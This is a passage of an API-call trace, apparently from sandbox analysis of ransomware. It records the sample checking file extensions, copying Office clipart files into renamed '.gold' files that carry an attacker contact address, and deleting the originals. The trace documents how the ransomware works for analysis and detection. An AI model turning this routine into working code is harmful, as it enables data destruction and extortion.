4 [0110.016] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.016] lstrlenW (lpString=".xls") returned 4 [0110.016] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.016] lstrlenW (lpString=".xlsx") returned 5 [0110.016] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0110.016] lstrlenW (lpString=".ppt") returned 4 [0110.016] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned 63 [0110.016] lstrlenW (lpString=".zip") returned 4 [0110.016] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.016] lstrlenW (lpString=".rar") returned 4 [0110.016] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.016] lstrlenW (lpString=".bz2") returned 4 [0110.016] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.016] lstrlenW (lpString=".7z") returned 3 [0110.016] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned 63 [0110.016] lstrlenW (lpString=".dbf") returned 4 [0110.016] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned 63 [0110.016] lstrlenW (lpString=".1cd") returned 4 [0110.016] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned 63 [0110.016] lstrlenW (lpString=".jpg") returned 4 [0110.016] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned 63 [0110.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned 63 [0110.016] lstrlenW (lpString=".doc") returned 4 [0110.016] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.016] lstrlenW (lpString=".docx") returned 5 [0110.016] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0110.016] lstrlenW (lpString=".pdf") returned 4 [0110.016] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.016] lstrlenW (lpString=".xls") returned 4 [0110.017] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.017] lstrlenW (lpString=".xlsx") returned 5 [0110.017] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0110.017] lstrlenW (lpString=".ppt") returned 4 [0110.017] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned 63 [0110.017] lstrlenW (lpString=".zip") returned 4 [0110.017] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.017] lstrlenW (lpString=".rar") returned 4 [0110.017] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.017] lstrlenW (lpString=".bz2") returned 4 [0110.017] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.017] lstrlenW (lpString=".7z") returned 3 [0110.017] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned 63 [0110.017] lstrlenW (lpString=".dbf") returned 4 [0110.017] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned 63 [0110.017] lstrlenW (lpString=".1cd") returned 4 [0110.017] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned 63 [0110.017] lstrlenW (lpString=".jpg") returned 4 [0110.017] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.017] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0110.017] lstrlenW (lpString="J0152708.WMF") returned 12 [0110.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0110.018] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=4908) returned 1 [0110.018] CloseHandle (hObject=0x38c) returned 1 [0110.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf")) returned 0x20 [0110.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0110.018] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.018] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0110.019] GetLastError () returned 0x0 [0110.019] ReadFile (in: hFile=0x38c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x132c, lpOverlapped=0x0) returned 1 [0110.020] WriteFile (in: hFile=0x3c4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x1330, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x1330, lpOverlapped=0x0) returned 1 [0110.021] ReadFile (in: hFile=0x38c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.021] WriteFile (in: hFile=0x3c4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0110.021] SetEndOfFile (hFile=0x3c4) returned 1 [0110.021] CloseHandle (hObject=0x3c4) returned 1 [0110.021] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.021] SetEndOfFile (hFile=0x38c) returned 1 [0110.023] CloseHandle (hObject=0x38c) returned 1 [0110.023] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.023] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf")) returned 1 [0110.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned 63 [0110.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned 63 [0110.024] lstrlenW (lpString=".doc") returned 4 [0110.024] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.024] lstrlenW (lpString=".docx") returned 5 [0110.024] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0110.024] lstrlenW (lpString=".pdf") returned 4 [0110.024] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.024] lstrlenW (lpString=".xls") returned 4 [0110.024] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.024] lstrlenW (lpString=".xlsx") returned 5 [0110.024] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0110.024] lstrlenW (lpString=".ppt") returned 4 [0110.024] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned 63 [0110.024] lstrlenW (lpString=".zip") returned 4 [0110.024] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.024] lstrlenW (lpString=".rar") returned 4 [0110.024] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.024] lstrlenW (lpString=".bz2") returned 4 [0110.024] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.024] lstrlenW (lpString=".7z") returned 3 [0110.024] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned 63 [0110.024] lstrlenW (lpString=".dbf") returned 4 [0110.024] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned 63 [0110.024] lstrlenW (lpString=".1cd") returned 4 [0110.024] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned 63 [0110.024] lstrlenW (lpString=".jpg") returned 4 [0110.024] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned 63 [0110.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned 63 [0110.024] lstrlenW (lpString=".doc") returned 4 [0110.025] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.025] lstrlenW (lpString=".docx") returned 5 [0110.025] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0110.025] lstrlenW (lpString=".pdf") returned 4 [0110.025] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.025] lstrlenW (lpString=".xls") returned 4 [0110.025] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.025] lstrlenW (lpString=".xlsx") returned 5 [0110.025] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0110.025] lstrlenW (lpString=".ppt") returned 4 [0110.025] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned 63 [0110.025] lstrlenW (lpString=".zip") returned 4 [0110.025] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.025] lstrlenW (lpString=".rar") returned 4 [0110.025] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.025] lstrlenW (lpString=".bz2") returned 4 [0110.025] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.025] lstrlenW (lpString=".7z") returned 3 [0110.025] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned 63 [0110.025] lstrlenW (lpString=".dbf") returned 4 [0110.025] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned 63 [0110.025] lstrlenW (lpString=".1cd") returned 4 [0110.025] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned 63 [0110.025] lstrlenW (lpString=".jpg") returned 4 [0110.025] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.025] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0110.025] lstrlenW (lpString="J0152716.WMF") returned 12 [0110.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0110.026] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=4580) returned 1 [0110.026] CloseHandle (hObject=0x38c) returned 1 [0110.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf")) returned 0x20 [0110.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0110.026] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.026] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0110.027] GetLastError () returned 0x0 [0110.027] ReadFile (in: hFile=0x38c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x11e4, lpOverlapped=0x0) returned 1 [0110.028] WriteFile (in: hFile=0x3c4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x11f0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x11f0, lpOverlapped=0x0) returned 1 [0110.029] ReadFile (in: hFile=0x38c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.029] WriteFile (in: hFile=0x3c4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0110.029] SetEndOfFile (hFile=0x3c4) returned 1 [0110.029] CloseHandle (hObject=0x3c4) returned 1 [0110.029] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.029] SetEndOfFile (hFile=0x38c) returned 1 [0110.031] CloseHandle (hObject=0x38c) returned 1 [0110.031] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.031] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf")) returned 1 [0110.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned 63 [0110.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned 63 [0110.032] lstrlenW (lpString=".doc") returned 4 [0110.032] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.032] lstrlenW (lpString=".docx") returned 5 [0110.032] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0110.032] lstrlenW (lpString=".pdf") returned 4 [0110.032] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.032] lstrlenW (lpString=".xls") returned 4 [0110.032] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.032] lstrlenW (lpString=".xlsx") returned 5 [0110.032] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0110.032] lstrlenW (lpString=".ppt") returned 4 [0110.032] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned 63 [0110.032] lstrlenW (lpString=".zip") returned 4 [0110.032] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.032] lstrlenW (lpString=".rar") returned 4 [0110.032] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.032] lstrlenW (lpString=".bz2") returned 4 [0110.032] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.032] lstrlenW (lpString=".7z") returned 3 [0110.032] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned 63 [0110.032] lstrlenW (lpString=".dbf") returned 4 [0110.032] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned 63 [0110.032] lstrlenW (lpString=".1cd") returned 4 [0110.032] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned 63 [0110.032] lstrlenW (lpString=".jpg") returned 4 [0110.032] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned 63 [0110.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned 63 [0110.033] lstrlenW (lpString=".doc") returned 4 [0110.033] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.033] lstrlenW (lpString=".docx") returned 5 [0110.033] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0110.033] lstrlenW (lpString=".pdf") returned 4 [0110.033] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.033] lstrlenW (lpString=".xls") returned 4 [0110.033] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.033] lstrlenW (lpString=".xlsx") returned 5 [0110.033] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0110.033] lstrlenW (lpString=".ppt") returned 4 [0110.033] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned 63 [0110.033] lstrlenW (lpString=".zip") returned 4 [0110.033] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.033] lstrlenW (lpString=".rar") returned 4 [0110.033] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.033] lstrlenW (lpString=".bz2") returned 4 [0110.033] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.033] lstrlenW (lpString=".7z") returned 3 [0110.033] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned 63 [0110.033] lstrlenW (lpString=".dbf") returned 4 [0110.033] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned 63 [0110.033] lstrlenW (lpString=".1cd") returned 4 [0110.033] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned 63 [0110.033] lstrlenW (lpString=".jpg") returned 4 [0110.033] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.033] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0110.033] lstrlenW (lpString="J0152722.WMF") returned 12 [0110.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0110.034] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=7020) returned 1 [0110.034] CloseHandle (hObject=0x38c) returned 1 [0110.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf")) returned 0x20 [0110.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0110.034] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.034] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0110.035] GetLastError () returned 0x0 [0110.035] ReadFile (in: hFile=0x38c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x1b6c, lpOverlapped=0x0) returned 1 [0110.291] WriteFile (in: hFile=0x3c4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x1b70, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x1b70, lpOverlapped=0x0) returned 1 [0110.292] ReadFile (in: hFile=0x38c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.292] WriteFile (in: hFile=0x3c4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0110.292] SetEndOfFile (hFile=0x3c4) returned 1 [0110.292] CloseHandle (hObject=0x3c4) returned 1 [0110.292] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.292] SetEndOfFile (hFile=0x38c) returned 1 [0110.294] CloseHandle (hObject=0x38c) returned 1 [0110.294] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.482] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf")) returned 1 [0110.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned 63 [0110.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned 63 [0110.505] lstrlenW (lpString=".doc") returned 4 [0110.505] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.505] lstrlenW (lpString=".docx") returned 5 [0110.505] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0110.505] lstrlenW (lpString=".pdf") returned 4 [0110.505] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.505] lstrlenW (lpString=".xls") returned 4 [0110.505] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.505] lstrlenW (lpString=".xlsx") returned 5 [0110.505] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0110.505] lstrlenW (lpString=".ppt") returned 4 [0110.505] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned 63 [0110.505] lstrlenW (lpString=".zip") returned 4 [0110.505] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.505] lstrlenW (lpString=".rar") returned 4 [0110.505] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.505] lstrlenW (lpString=".bz2") returned 4 [0110.505] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.505] 